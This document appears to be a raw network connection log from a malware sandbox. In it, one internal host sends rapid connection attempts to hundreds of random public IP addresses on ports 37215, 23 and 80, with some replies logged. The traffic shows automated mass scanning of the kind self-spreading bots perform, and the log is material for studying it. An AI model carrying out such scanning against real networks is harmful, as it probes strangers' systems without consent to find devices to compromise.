                                                          Dec 3, 2024 23:16:42.383853912 CET4059737215192.168.2.23156.111.111.244
                                                          Dec 3, 2024 23:16:42.383862019 CET4059737215192.168.2.23156.248.15.111
                                                          Dec 3, 2024 23:16:42.383872032 CET4059737215192.168.2.23197.186.189.50
                                                          Dec 3, 2024 23:16:42.383881092 CET4059737215192.168.2.23197.180.156.156
                                                          Dec 3, 2024 23:16:42.383882046 CET4059737215192.168.2.2341.65.54.230
                                                          Dec 3, 2024 23:16:42.383898020 CET4059737215192.168.2.2341.43.227.106
                                                          Dec 3, 2024 23:16:42.383903980 CET4059737215192.168.2.2341.104.102.13
                                                          Dec 3, 2024 23:16:42.383912086 CET4059737215192.168.2.23197.60.79.6
                                                          Dec 3, 2024 23:16:42.383924961 CET4059737215192.168.2.23156.9.245.37
                                                          Dec 3, 2024 23:16:42.383944988 CET4059737215192.168.2.2341.42.239.138
                                                          Dec 3, 2024 23:16:42.383951902 CET4059737215192.168.2.23197.83.148.72
                                                          Dec 3, 2024 23:16:42.383971930 CET4059737215192.168.2.23197.6.137.8
                                                          Dec 3, 2024 23:16:42.383974075 CET4059737215192.168.2.2341.213.154.17
                                                          Dec 3, 2024 23:16:42.384032965 CET4059737215192.168.2.23156.192.10.236
                                                          Dec 3, 2024 23:16:42.384052038 CET4059737215192.168.2.23156.157.121.71
                                                          Dec 3, 2024 23:16:42.384052992 CET4059737215192.168.2.23197.87.223.246
                                                          Dec 3, 2024 23:16:42.384052992 CET4059737215192.168.2.23156.81.148.116
                                                          Dec 3, 2024 23:16:42.384057045 CET4059737215192.168.2.2341.125.2.99
                                                          Dec 3, 2024 23:16:42.384077072 CET4059737215192.168.2.2341.242.11.110
                                                          Dec 3, 2024 23:16:42.384079933 CET4059737215192.168.2.23156.191.216.25
                                                          Dec 3, 2024 23:16:42.384083033 CET4059737215192.168.2.23156.77.160.253
                                                          Dec 3, 2024 23:16:42.384092093 CET4059737215192.168.2.23197.143.123.90
                                                          Dec 3, 2024 23:16:42.384094000 CET4059737215192.168.2.23156.253.142.154
                                                          Dec 3, 2024 23:16:42.384104013 CET4059737215192.168.2.23197.115.214.37
                                                          Dec 3, 2024 23:16:42.384111881 CET4059737215192.168.2.2341.36.17.223
                                                          Dec 3, 2024 23:16:42.384114027 CET4059737215192.168.2.23156.18.4.30
                                                          Dec 3, 2024 23:16:42.384140015 CET4059737215192.168.2.23156.85.24.175
                                                          Dec 3, 2024 23:16:42.384140015 CET4059737215192.168.2.2341.115.45.180
                                                          Dec 3, 2024 23:16:42.384146929 CET4059737215192.168.2.23197.63.226.113
                                                          Dec 3, 2024 23:16:42.384165049 CET4059737215192.168.2.2341.150.109.117
                                                          Dec 3, 2024 23:16:42.384202003 CET4059737215192.168.2.2341.167.174.182
                                                          Dec 3, 2024 23:16:42.384203911 CET4059737215192.168.2.2341.177.213.253
                                                          Dec 3, 2024 23:16:42.384211063 CET4059737215192.168.2.23197.254.82.222
                                                          Dec 3, 2024 23:16:42.384219885 CET4059737215192.168.2.23156.185.222.156
                                                          Dec 3, 2024 23:16:42.384237051 CET4059737215192.168.2.2341.175.44.95
                                                          Dec 3, 2024 23:16:42.384241104 CET4059737215192.168.2.23156.212.126.122
                                                          Dec 3, 2024 23:16:42.384241104 CET4059737215192.168.2.2341.134.183.74
                                                          Dec 3, 2024 23:16:42.384253025 CET4059737215192.168.2.2341.114.11.206
                                                          Dec 3, 2024 23:16:42.384263992 CET4059737215192.168.2.23156.38.181.167
                                                          Dec 3, 2024 23:16:42.384263992 CET4059737215192.168.2.23156.41.78.192
                                                          Dec 3, 2024 23:16:42.384274960 CET4059737215192.168.2.23197.89.125.206
                                                          Dec 3, 2024 23:16:42.384288073 CET4059737215192.168.2.2341.113.221.124
                                                          Dec 3, 2024 23:16:42.384288073 CET4059737215192.168.2.23197.73.178.33
                                                          Dec 3, 2024 23:16:42.384314060 CET4059737215192.168.2.23156.30.243.118
                                                          Dec 3, 2024 23:16:42.384314060 CET4059737215192.168.2.23156.35.90.238
                                                          Dec 3, 2024 23:16:42.384314060 CET4059737215192.168.2.2341.145.237.214
                                                          Dec 3, 2024 23:16:42.384337902 CET4059737215192.168.2.2341.176.93.125
                                                          Dec 3, 2024 23:16:42.384341002 CET4059737215192.168.2.23197.90.98.72
                                                          Dec 3, 2024 23:16:42.384342909 CET4059737215192.168.2.2341.214.161.206
                                                          Dec 3, 2024 23:16:42.384350061 CET4059737215192.168.2.23156.173.45.160
                                                          Dec 3, 2024 23:16:42.384370089 CET4059737215192.168.2.23197.79.235.158
                                                          Dec 3, 2024 23:16:42.384377956 CET4059737215192.168.2.2341.254.27.62
                                                          Dec 3, 2024 23:16:42.384388924 CET4059737215192.168.2.2341.35.128.235
                                                          Dec 3, 2024 23:16:42.384394884 CET4059737215192.168.2.23197.203.18.194
                                                          Dec 3, 2024 23:16:42.384397030 CET4059737215192.168.2.2341.40.223.236
                                                          Dec 3, 2024 23:16:42.384407997 CET4059737215192.168.2.23197.45.62.241
                                                          Dec 3, 2024 23:16:42.384409904 CET4059737215192.168.2.2341.167.191.239
                                                          Dec 3, 2024 23:16:42.384418011 CET4059737215192.168.2.2341.65.55.11
                                                          Dec 3, 2024 23:16:42.384433985 CET4059737215192.168.2.23197.229.254.122
                                                          Dec 3, 2024 23:16:42.384433985 CET4059737215192.168.2.23197.141.152.66
                                                          Dec 3, 2024 23:16:42.384433985 CET4059737215192.168.2.23197.53.147.36
                                                          Dec 3, 2024 23:16:42.384435892 CET4059737215192.168.2.2341.38.179.177
                                                          Dec 3, 2024 23:16:42.384454966 CET4059737215192.168.2.23197.171.222.235
                                                          Dec 3, 2024 23:16:42.384457111 CET4059737215192.168.2.23156.44.177.145
                                                          Dec 3, 2024 23:16:42.384468079 CET4059737215192.168.2.2341.209.166.251
                                                          Dec 3, 2024 23:16:42.384486914 CET4059737215192.168.2.2341.17.135.97
                                                          Dec 3, 2024 23:16:42.384495020 CET4059737215192.168.2.23156.6.211.24
                                                          Dec 3, 2024 23:16:42.384499073 CET4059737215192.168.2.23156.118.92.2
                                                          Dec 3, 2024 23:16:42.384510994 CET4059737215192.168.2.2341.138.212.82
                                                          Dec 3, 2024 23:16:42.384510994 CET4059737215192.168.2.23197.83.95.76
                                                          Dec 3, 2024 23:16:42.384510994 CET4059737215192.168.2.23156.108.239.48
                                                          Dec 3, 2024 23:16:42.384510994 CET4059737215192.168.2.23197.30.67.115
                                                          Dec 3, 2024 23:16:42.384526968 CET4059737215192.168.2.23197.202.122.195
                                                          Dec 3, 2024 23:16:42.384541988 CET4059737215192.168.2.2341.173.252.236
                                                          Dec 3, 2024 23:16:42.384543896 CET4059737215192.168.2.2341.205.7.146
                                                          Dec 3, 2024 23:16:42.384546995 CET4059737215192.168.2.23197.137.222.54
                                                          Dec 3, 2024 23:16:42.384562016 CET4059737215192.168.2.2341.221.5.59
                                                          Dec 3, 2024 23:16:42.384562016 CET4059737215192.168.2.2341.181.202.206
                                                          Dec 3, 2024 23:16:42.384562016 CET4059737215192.168.2.23156.138.67.161
                                                          Dec 3, 2024 23:16:42.384583950 CET4059737215192.168.2.23197.225.240.239
                                                          Dec 3, 2024 23:16:42.384586096 CET4059737215192.168.2.2341.117.91.141
                                                          Dec 3, 2024 23:16:42.384604931 CET4059737215192.168.2.23197.25.75.105
                                                          Dec 3, 2024 23:16:42.384607077 CET4059737215192.168.2.2341.246.38.85
                                                          Dec 3, 2024 23:16:42.384624958 CET4059737215192.168.2.23197.218.241.37
                                                          Dec 3, 2024 23:16:42.384625912 CET4059737215192.168.2.23156.19.146.153
                                                          Dec 3, 2024 23:16:42.384639025 CET4059737215192.168.2.23197.31.189.199
                                                          Dec 3, 2024 23:16:42.384643078 CET4059737215192.168.2.2341.170.244.13
                                                          Dec 3, 2024 23:16:42.384649992 CET4059737215192.168.2.2341.156.112.243
                                                          Dec 3, 2024 23:16:42.384670973 CET4059737215192.168.2.23156.53.46.226
                                                          Dec 3, 2024 23:16:42.384674072 CET4059737215192.168.2.23156.253.181.145
                                                          Dec 3, 2024 23:16:42.384675980 CET4059737215192.168.2.23156.156.14.119
                                                          Dec 3, 2024 23:16:42.384692907 CET4059737215192.168.2.23156.100.228.11
                                                          Dec 3, 2024 23:16:42.384710073 CET4059737215192.168.2.2341.54.114.23
                                                          Dec 3, 2024 23:16:42.384712934 CET4059737215192.168.2.23197.67.237.21
                                                          Dec 3, 2024 23:16:42.384716034 CET4059737215192.168.2.23197.211.177.214
                                                          Dec 3, 2024 23:16:42.384736061 CET4059737215192.168.2.23197.4.254.221
                                                          Dec 3, 2024 23:16:42.384738922 CET4059737215192.168.2.2341.227.254.202
                                                          Dec 3, 2024 23:16:42.384746075 CET4059737215192.168.2.2341.174.180.37
                                                          Dec 3, 2024 23:16:42.384757042 CET4059737215192.168.2.2341.133.101.48
                                                          Dec 3, 2024 23:16:42.384763956 CET4059737215192.168.2.23197.160.105.63
                                                          Dec 3, 2024 23:16:42.384774923 CET4059737215192.168.2.23197.176.2.205
                                                          Dec 3, 2024 23:16:42.384774923 CET4059737215192.168.2.23197.22.79.89
                                                          Dec 3, 2024 23:16:42.384778976 CET4059737215192.168.2.23156.10.64.83
                                                          Dec 3, 2024 23:16:42.384835958 CET4059737215192.168.2.23156.25.133.205
                                                          Dec 3, 2024 23:16:42.384850979 CET4059737215192.168.2.2341.57.162.78
                                                          Dec 3, 2024 23:16:42.384851933 CET4059737215192.168.2.23156.52.119.13
                                                          Dec 3, 2024 23:16:42.384855032 CET4059737215192.168.2.23156.184.164.39
                                                          Dec 3, 2024 23:16:42.384860039 CET4059737215192.168.2.23156.161.147.50
                                                          Dec 3, 2024 23:16:42.384869099 CET4059737215192.168.2.2341.217.59.252
                                                          Dec 3, 2024 23:16:42.384874105 CET4059737215192.168.2.23156.189.189.240
                                                          Dec 3, 2024 23:16:42.384886026 CET4059737215192.168.2.23156.194.177.157
                                                          Dec 3, 2024 23:16:42.384886026 CET4059737215192.168.2.2341.70.32.60
                                                          Dec 3, 2024 23:16:42.384907961 CET4059737215192.168.2.2341.217.224.236
                                                          Dec 3, 2024 23:16:42.384910107 CET4059737215192.168.2.2341.174.47.70
                                                          Dec 3, 2024 23:16:42.384917021 CET4059737215192.168.2.23197.222.213.16
                                                          Dec 3, 2024 23:16:42.384932041 CET4059737215192.168.2.2341.69.253.68
                                                          Dec 3, 2024 23:16:42.384943008 CET4059737215192.168.2.23197.17.71.8
                                                          Dec 3, 2024 23:16:42.384948969 CET4059737215192.168.2.23156.46.8.234
                                                          Dec 3, 2024 23:16:42.384954929 CET4059737215192.168.2.2341.138.202.252
                                                          Dec 3, 2024 23:16:42.384962082 CET4059737215192.168.2.2341.250.163.19
                                                          Dec 3, 2024 23:16:42.384975910 CET4059737215192.168.2.2341.92.110.203
                                                          Dec 3, 2024 23:16:42.384977102 CET4059737215192.168.2.23197.225.133.219
                                                          Dec 3, 2024 23:16:42.384975910 CET4059737215192.168.2.23156.193.4.233
                                                          Dec 3, 2024 23:16:42.384983063 CET4059737215192.168.2.2341.151.66.154
                                                          Dec 3, 2024 23:16:42.384989023 CET4059737215192.168.2.23156.107.35.215
                                                          Dec 3, 2024 23:16:42.384989023 CET4059737215192.168.2.2341.240.77.151
                                                          Dec 3, 2024 23:16:42.385001898 CET4059737215192.168.2.23197.216.86.30
                                                          Dec 3, 2024 23:16:42.385023117 CET4059737215192.168.2.23156.98.144.143
                                                          Dec 3, 2024 23:16:42.385025024 CET4059737215192.168.2.23156.75.202.191
                                                          Dec 3, 2024 23:16:42.385045052 CET4059737215192.168.2.23197.190.220.197
                                                          Dec 3, 2024 23:16:42.385045052 CET4059737215192.168.2.2341.139.233.172
                                                          Dec 3, 2024 23:16:42.385054111 CET4059737215192.168.2.2341.70.215.6
                                                          Dec 3, 2024 23:16:42.385062933 CET4059737215192.168.2.2341.217.252.27
                                                          Dec 3, 2024 23:16:42.385065079 CET4059737215192.168.2.23156.74.195.17
                                                          Dec 3, 2024 23:16:42.385086060 CET4059737215192.168.2.2341.253.84.118
                                                          Dec 3, 2024 23:16:42.385092020 CET4059737215192.168.2.23156.59.73.60
                                                          Dec 3, 2024 23:16:42.385093927 CET4059737215192.168.2.23197.173.87.148
                                                          Dec 3, 2024 23:16:42.385102034 CET4059737215192.168.2.2341.42.54.54
                                                          Dec 3, 2024 23:16:42.385113955 CET4059737215192.168.2.23197.4.255.240
                                                          Dec 3, 2024 23:16:42.385114908 CET4059737215192.168.2.23197.47.185.35
                                                          Dec 3, 2024 23:16:42.385135889 CET4059737215192.168.2.2341.119.228.140
                                                          Dec 3, 2024 23:16:42.385137081 CET4059737215192.168.2.23197.136.193.86
                                                          Dec 3, 2024 23:16:42.385154963 CET4059737215192.168.2.23156.68.149.22
                                                          Dec 3, 2024 23:16:42.385159969 CET4059737215192.168.2.23197.249.113.57
                                                          Dec 3, 2024 23:16:42.385188103 CET4059737215192.168.2.23197.58.232.172
                                                          Dec 3, 2024 23:16:42.385193110 CET4059737215192.168.2.23156.104.231.18
                                                          Dec 3, 2024 23:16:42.385195017 CET4059737215192.168.2.23197.239.199.197
                                                          Dec 3, 2024 23:16:42.385204077 CET4059737215192.168.2.2341.37.39.7
                                                          Dec 3, 2024 23:16:42.385206938 CET4059737215192.168.2.23156.0.142.91
                                                          Dec 3, 2024 23:16:42.385224104 CET4059737215192.168.2.23197.103.185.206
                                                          Dec 3, 2024 23:16:42.385229111 CET4059737215192.168.2.2341.199.202.54
                                                          Dec 3, 2024 23:16:42.385236025 CET4059737215192.168.2.23156.195.38.84
                                                          Dec 3, 2024 23:16:42.385240078 CET4059737215192.168.2.23156.77.17.103
                                                          Dec 3, 2024 23:16:42.385258913 CET4059737215192.168.2.2341.241.232.139
                                                          Dec 3, 2024 23:16:42.385258913 CET4059737215192.168.2.2341.107.159.189
                                                          Dec 3, 2024 23:16:42.385272026 CET4059737215192.168.2.23197.193.174.24
                                                          Dec 3, 2024 23:16:42.385272980 CET4059737215192.168.2.2341.212.60.170
                                                          Dec 3, 2024 23:16:42.385272980 CET4059737215192.168.2.23156.41.191.212
                                                          Dec 3, 2024 23:16:42.385289907 CET4059737215192.168.2.23156.240.70.188
                                                          Dec 3, 2024 23:16:42.385289907 CET4059737215192.168.2.2341.90.217.130
                                                          Dec 3, 2024 23:16:42.385291100 CET4059737215192.168.2.23156.199.57.97
                                                          Dec 3, 2024 23:16:42.385298014 CET4059737215192.168.2.2341.227.203.115
                                                          Dec 3, 2024 23:16:42.385304928 CET4059737215192.168.2.23156.243.20.36
                                                          Dec 3, 2024 23:16:42.385345936 CET4059737215192.168.2.23156.65.212.24
                                                          Dec 3, 2024 23:16:42.385348082 CET4059737215192.168.2.2341.104.138.154
                                                          Dec 3, 2024 23:16:42.385354042 CET4059737215192.168.2.2341.207.92.249
                                                          Dec 3, 2024 23:16:42.385360003 CET4059737215192.168.2.23156.206.45.55
                                                          Dec 3, 2024 23:16:42.385365009 CET4059737215192.168.2.23197.147.110.57
                                                          Dec 3, 2024 23:16:42.385379076 CET4059737215192.168.2.2341.37.110.138
                                                          Dec 3, 2024 23:16:42.385384083 CET4059737215192.168.2.2341.130.109.120
                                                          Dec 3, 2024 23:16:42.385386944 CET4059737215192.168.2.23156.54.20.47
                                                          Dec 3, 2024 23:16:42.385387897 CET4059737215192.168.2.23156.109.25.34
                                                          Dec 3, 2024 23:16:42.385400057 CET4059737215192.168.2.2341.209.45.145
                                                          Dec 3, 2024 23:16:42.385400057 CET4059737215192.168.2.23197.198.133.108
                                                          Dec 3, 2024 23:16:42.385400057 CET4059737215192.168.2.23197.18.146.126
                                                          Dec 3, 2024 23:16:42.385413885 CET4059737215192.168.2.2341.105.138.157
                                                          Dec 3, 2024 23:16:42.385417938 CET4059737215192.168.2.23197.39.83.182
                                                          Dec 3, 2024 23:16:42.385421038 CET4059737215192.168.2.23156.246.49.158
                                                          Dec 3, 2024 23:16:42.385433912 CET4059737215192.168.2.23197.114.205.48
                                                          Dec 3, 2024 23:16:42.385452032 CET4059737215192.168.2.2341.25.133.54
                                                          Dec 3, 2024 23:16:42.385461092 CET4059737215192.168.2.2341.230.161.119
                                                          Dec 3, 2024 23:16:42.385464907 CET4059737215192.168.2.23197.138.64.3
                                                          Dec 3, 2024 23:16:42.385473967 CET4059737215192.168.2.23156.5.68.186
                                                          Dec 3, 2024 23:16:42.385481119 CET4059737215192.168.2.23156.236.251.101
                                                          Dec 3, 2024 23:16:42.385482073 CET4059737215192.168.2.23197.189.220.113
                                                          Dec 3, 2024 23:16:42.385487080 CET4059737215192.168.2.23156.25.6.225
                                                          Dec 3, 2024 23:16:42.385499954 CET4059737215192.168.2.23197.202.142.105
                                                          Dec 3, 2024 23:16:42.385504007 CET4059737215192.168.2.2341.38.58.193
                                                          Dec 3, 2024 23:16:42.385505915 CET4059737215192.168.2.2341.149.102.253
                                                          Dec 3, 2024 23:16:42.385526896 CET4059737215192.168.2.2341.61.150.251
                                                          Dec 3, 2024 23:16:42.385541916 CET4059737215192.168.2.2341.200.193.33
                                                          Dec 3, 2024 23:16:42.385546923 CET4059737215192.168.2.23156.8.58.224
                                                          Dec 3, 2024 23:16:42.385582924 CET4059737215192.168.2.23197.49.130.138
                                                          Dec 3, 2024 23:16:42.385596037 CET4059737215192.168.2.2341.188.251.58
                                                          Dec 3, 2024 23:16:42.385596991 CET4059737215192.168.2.23156.138.186.196
                                                          Dec 3, 2024 23:16:42.385624886 CET4059737215192.168.2.23156.194.9.172
                                                          Dec 3, 2024 23:16:42.385626078 CET4059737215192.168.2.23156.116.140.143
                                                          Dec 3, 2024 23:16:42.385638952 CET4059737215192.168.2.23156.99.230.70
                                                          Dec 3, 2024 23:16:42.385641098 CET4059737215192.168.2.23197.73.68.152
                                                          Dec 3, 2024 23:16:42.385648966 CET4059737215192.168.2.23156.78.141.247
                                                          Dec 3, 2024 23:16:42.385653019 CET4059737215192.168.2.23197.23.156.213
                                                          Dec 3, 2024 23:16:42.385664940 CET4059737215192.168.2.23156.141.247.27
                                                          Dec 3, 2024 23:16:42.385680914 CET4059737215192.168.2.2341.129.249.189
                                                          Dec 3, 2024 23:16:42.385698080 CET4059737215192.168.2.23197.213.59.10
                                                          Dec 3, 2024 23:16:42.385700941 CET4059737215192.168.2.2341.26.228.225
                                                          Dec 3, 2024 23:16:42.385715008 CET4059737215192.168.2.23197.234.77.18
                                                          Dec 3, 2024 23:16:42.385720968 CET4059737215192.168.2.23156.178.42.80
                                                          Dec 3, 2024 23:16:42.385724068 CET4059737215192.168.2.23156.184.20.58
                                                          Dec 3, 2024 23:16:42.385727882 CET4059737215192.168.2.2341.215.15.197
                                                          Dec 3, 2024 23:16:42.385729074 CET4059737215192.168.2.2341.173.224.224
                                                          Dec 3, 2024 23:16:42.385739088 CET4059737215192.168.2.23156.24.190.112
                                                          Dec 3, 2024 23:16:42.385750055 CET4059737215192.168.2.2341.185.125.119
                                                          Dec 3, 2024 23:16:42.498917103 CET234060278.106.155.116192.168.2.23
                                                          Dec 3, 2024 23:16:42.498939991 CET234060285.55.128.116192.168.2.23
                                                          Dec 3, 2024 23:16:42.498950958 CET234060219.194.182.114192.168.2.23
                                                          Dec 3, 2024 23:16:42.498969078 CET234060214.77.40.180192.168.2.23
                                                          Dec 3, 2024 23:16:42.498971939 CET4060223192.168.2.2378.106.155.116
                                                          Dec 3, 2024 23:16:42.498980045 CET4060223192.168.2.2385.55.128.116
                                                          Dec 3, 2024 23:16:42.498984098 CET4060223192.168.2.2319.194.182.114
                                                          Dec 3, 2024 23:16:42.499017954 CET234060243.116.213.117192.168.2.23
                                                          Dec 3, 2024 23:16:42.499030113 CET2340602136.163.161.166192.168.2.23
                                                          Dec 3, 2024 23:16:42.499049902 CET4060223192.168.2.2343.116.213.117
                                                          Dec 3, 2024 23:16:42.499052048 CET4060223192.168.2.2314.77.40.180
                                                          Dec 3, 2024 23:16:42.499053001 CET234060286.98.166.227192.168.2.23
                                                          Dec 3, 2024 23:16:42.499063015 CET234060280.218.36.21192.168.2.23
                                                          Dec 3, 2024 23:16:42.499072075 CET2340602115.251.138.255192.168.2.23
                                                          Dec 3, 2024 23:16:42.499078035 CET4060223192.168.2.23136.163.161.166
                                                          Dec 3, 2024 23:16:42.499085903 CET4060223192.168.2.2386.98.166.227
                                                          Dec 3, 2024 23:16:42.499094963 CET4060223192.168.2.2380.218.36.21
                                                          Dec 3, 2024 23:16:42.499099016 CET2340602186.36.16.153192.168.2.23
                                                          Dec 3, 2024 23:16:42.499111891 CET4060223192.168.2.23115.251.138.255
                                                          Dec 3, 2024 23:16:42.499147892 CET4060223192.168.2.23186.36.16.153
                                                          Dec 3, 2024 23:16:42.499182940 CET804059662.26.155.116192.168.2.23
                                                          Dec 3, 2024 23:16:42.499222040 CET4059680192.168.2.2362.26.155.116
                                                          Dec 3, 2024 23:16:42.499486923 CET804059685.71.128.116192.168.2.23
                                                          Dec 3, 2024 23:16:42.499521017 CET804059664.230.57.252192.168.2.23
                                                          Dec 3, 2024 23:16:42.499531031 CET8040596146.224.75.232192.168.2.23
                                                          Dec 3, 2024 23:16:42.499541044 CET4059680192.168.2.2385.71.128.116
                                                          Dec 3, 2024 23:16:42.499546051 CET8040596219.8.229.7192.168.2.23
                                                          Dec 3, 2024 23:16:42.499556065 CET804059670.157.117.190192.168.2.23
                                                          Dec 3, 2024 23:16:42.499558926 CET4059680192.168.2.2364.230.57.252
                                                          Dec 3, 2024 23:16:42.499562979 CET4059680192.168.2.23146.224.75.232
                                                          Dec 3, 2024 23:16:42.499567032 CET804059699.220.28.87192.168.2.23
                                                          Dec 3, 2024 23:16:42.499577999 CET4059680192.168.2.23219.8.229.7
                                                          Dec 3, 2024 23:16:42.499583006 CET8040596189.85.67.233192.168.2.23
                                                          Dec 3, 2024 23:16:42.499593019 CET8040596137.131.15.67192.168.2.23
                                                          Dec 3, 2024 23:16:42.499602079 CET4059680192.168.2.2399.220.28.87
                                                          Dec 3, 2024 23:16:42.499602079 CET804059671.51.255.243192.168.2.23
                                                          Dec 3, 2024 23:16:42.499608040 CET4059680192.168.2.2370.157.117.190
                                                          Dec 3, 2024 23:16:42.499608040 CET4059680192.168.2.23189.85.67.233
                                                          Dec 3, 2024 23:16:42.499614000 CET8040596120.1.48.228192.168.2.23
                                                          Dec 3, 2024 23:16:42.499618053 CET4059680192.168.2.23137.131.15.67
                                                          Dec 3, 2024 23:16:42.499639034 CET4059680192.168.2.2371.51.255.243
                                                          Dec 3, 2024 23:16:42.499640942 CET4059680192.168.2.23120.1.48.228
                                                          Dec 3, 2024 23:16:42.622648954 CET804059653.141.70.168192.168.2.23
                                                          Dec 3, 2024 23:16:42.622690916 CET804059613.9.24.54192.168.2.23
                                                          Dec 3, 2024 23:16:42.622700930 CET8040596107.7.206.29192.168.2.23
                                                          Dec 3, 2024 23:16:42.622704983 CET8040596175.29.66.226192.168.2.23
                                                          Dec 3, 2024 23:16:42.622720957 CET4059680192.168.2.2353.141.70.168
                                                          Dec 3, 2024 23:16:42.622735977 CET8040596188.248.208.136192.168.2.23
                                                          Dec 3, 2024 23:16:42.622741938 CET4059680192.168.2.2313.9.24.54
                                                          Dec 3, 2024 23:16:42.622745991 CET4059680192.168.2.23107.7.206.29
                                                          Dec 3, 2024 23:16:42.622750998 CET4059680192.168.2.23175.29.66.226
                                                          Dec 3, 2024 23:16:42.622769117 CET8040596210.85.95.252192.168.2.23
                                                          Dec 3, 2024 23:16:42.622771025 CET4059680192.168.2.23188.248.208.136
                                                          Dec 3, 2024 23:16:42.622778893 CET8040596223.14.73.140192.168.2.23
                                                          Dec 3, 2024 23:16:42.622787952 CET8040596189.186.226.168192.168.2.23
                                                          Dec 3, 2024 23:16:42.622807980 CET4059680192.168.2.23210.85.95.252
                                                          Dec 3, 2024 23:16:42.622814894 CET8040596173.29.208.225192.168.2.23
                                                          Dec 3, 2024 23:16:42.622817039 CET4059680192.168.2.23223.14.73.140
                                                          Dec 3, 2024 23:16:42.622824907 CET8040596165.199.249.64192.168.2.23
                                                          Dec 3, 2024 23:16:42.622833014 CET8040596134.228.25.219192.168.2.23
                                                          Dec 3, 2024 23:16:42.622842073 CET804059644.220.246.255192.168.2.23
                                                          Dec 3, 2024 23:16:42.622844934 CET4059680192.168.2.23173.29.208.225
                                                          Dec 3, 2024 23:16:42.622850895 CET804059612.195.145.91192.168.2.23
                                                          Dec 3, 2024 23:16:42.622862101 CET8040596116.66.62.89192.168.2.23
                                                          Dec 3, 2024 23:16:42.622869968 CET804059691.101.46.36192.168.2.23
                                                          Dec 3, 2024 23:16:42.622931957 CET8040596213.53.91.127192.168.2.23
                                                          Dec 3, 2024 23:16:42.622939110 CET4059680192.168.2.23189.186.226.168
                                                          Dec 3, 2024 23:16:42.622939110 CET4059680192.168.2.23165.199.249.64
                                                          Dec 3, 2024 23:16:42.622941971 CET804059627.253.151.75192.168.2.23
                                                          Dec 3, 2024 23:16:42.622944117 CET4059680192.168.2.2344.220.246.255
                                                          Dec 3, 2024 23:16:42.622945070 CET4059680192.168.2.23134.228.25.219
                                                          Dec 3, 2024 23:16:42.622951031 CET4059680192.168.2.23116.66.62.89
                                                          Dec 3, 2024 23:16:42.622951984 CET4059680192.168.2.2312.195.145.91
                                                          Dec 3, 2024 23:16:42.622951031 CET4059680192.168.2.2391.101.46.36
                                                          Dec 3, 2024 23:16:42.622955084 CET4059680192.168.2.23213.53.91.127
                                                          Dec 3, 2024 23:16:42.622956038 CET8040596207.189.99.50192.168.2.23
                                                          Dec 3, 2024 23:16:42.622965097 CET4059680192.168.2.2327.253.151.75
                                                          Dec 3, 2024 23:16:42.622975111 CET804059625.227.229.232192.168.2.23
                                                          Dec 3, 2024 23:16:42.622983932 CET8040596160.43.173.212192.168.2.23
                                                          Dec 3, 2024 23:16:42.622992039 CET804059639.88.8.230192.168.2.23
                                                          Dec 3, 2024 23:16:42.622996092 CET4059680192.168.2.23207.189.99.50
                                                          Dec 3, 2024 23:16:42.622999907 CET804059619.115.216.35192.168.2.23
                                                          Dec 3, 2024 23:16:42.623011112 CET804059674.200.21.240192.168.2.23
                                                          Dec 3, 2024 23:16:42.623012066 CET4059680192.168.2.2325.227.229.232
                                                          Dec 3, 2024 23:16:42.623012066 CET4059680192.168.2.23160.43.173.212
                                                          Dec 3, 2024 23:16:42.623019934 CET804059665.26.117.90192.168.2.23
                                                          Dec 3, 2024 23:16:42.623022079 CET4059680192.168.2.2339.88.8.230
                                                          Dec 3, 2024 23:16:42.623029947 CET804059614.15.255.58192.168.2.23
                                                          Dec 3, 2024 23:16:42.623029947 CET4059680192.168.2.2319.115.216.35
                                                          Dec 3, 2024 23:16:42.623039961 CET80405962.254.234.19192.168.2.23
                                                          Dec 3, 2024 23:16:42.623043060 CET4059680192.168.2.2374.200.21.240
                                                          Dec 3, 2024 23:16:42.623045921 CET4059680192.168.2.2365.26.117.90
                                                          Dec 3, 2024 23:16:42.623050928 CET8040596213.166.199.51192.168.2.23
                                                          Dec 3, 2024 23:16:42.623061895 CET804059691.50.134.108192.168.2.23
                                                          Dec 3, 2024 23:16:42.623070002 CET4059680192.168.2.232.254.234.19
                                                          Dec 3, 2024 23:16:42.623070955 CET4059680192.168.2.2314.15.255.58
                                                          Dec 3, 2024 23:16:42.623078108 CET4059680192.168.2.23213.166.199.51
                                                          Dec 3, 2024 23:16:42.623111010 CET4059680192.168.2.2391.50.134.108
                                                          Dec 3, 2024 23:16:42.623476028 CET8040596152.183.28.129192.168.2.23
                                                          Dec 3, 2024 23:16:42.623486996 CET8040596178.187.197.167192.168.2.23
                                                          Dec 3, 2024 23:16:42.623497963 CET8040596186.76.94.147192.168.2.23
                                                          Dec 3, 2024 23:16:42.623502970 CET804059634.51.235.203192.168.2.23
                                                          Dec 3, 2024 23:16:42.623513937 CET4059680192.168.2.23152.183.28.129
                                                          Dec 3, 2024 23:16:42.623531103 CET8040596132.250.192.209192.168.2.23
                                                          Dec 3, 2024 23:16:42.623534918 CET4059680192.168.2.23178.187.197.167
                                                          Dec 3, 2024 23:16:42.623541117 CET804059682.11.139.4192.168.2.23
                                                          Dec 3, 2024 23:16:42.623541117 CET4059680192.168.2.23186.76.94.147
                                                          Dec 3, 2024 23:16:42.623548031 CET4059680192.168.2.2334.51.235.203
                                                          Dec 3, 2024 23:16:42.623558998 CET8040596170.168.241.248192.168.2.23
                                                          Dec 3, 2024 23:16:42.623564959 CET4059680192.168.2.23132.250.192.209
                                                          Dec 3, 2024 23:16:42.623569965 CET8040596128.121.128.130192.168.2.23
                                                          Dec 3, 2024 23:16:42.623580933 CET804059645.35.18.18192.168.2.23
                                                          Dec 3, 2024 23:16:42.623585939 CET4059680192.168.2.23170.168.241.248
                                                          Dec 3, 2024 23:16:42.623585939 CET4059680192.168.2.2382.11.139.4
                                                          Dec 3, 2024 23:16:42.623594046 CET804059697.97.183.158192.168.2.23
                                                          Dec 3, 2024 23:16:42.623600960 CET4059680192.168.2.23128.121.128.130
                                                          Dec 3, 2024 23:16:42.623604059 CET8040596203.33.33.36192.168.2.23
                                                          Dec 3, 2024 23:16:42.623613119 CET4059680192.168.2.2345.35.18.18
                                                          Dec 3, 2024 23:16:42.623615980 CET8040596113.74.119.205192.168.2.23
                                                          Dec 3, 2024 23:16:42.623625994 CET804059691.133.230.254192.168.2.23
                                                          Dec 3, 2024 23:16:42.623631001 CET4059680192.168.2.2397.97.183.158
                                                          Dec 3, 2024 23:16:42.623636961 CET4059680192.168.2.23203.33.33.36
                                                          Dec 3, 2024 23:16:42.623642921 CET4059680192.168.2.23113.74.119.205
                                                          Dec 3, 2024 23:16:42.623665094 CET4059680192.168.2.2391.133.230.254
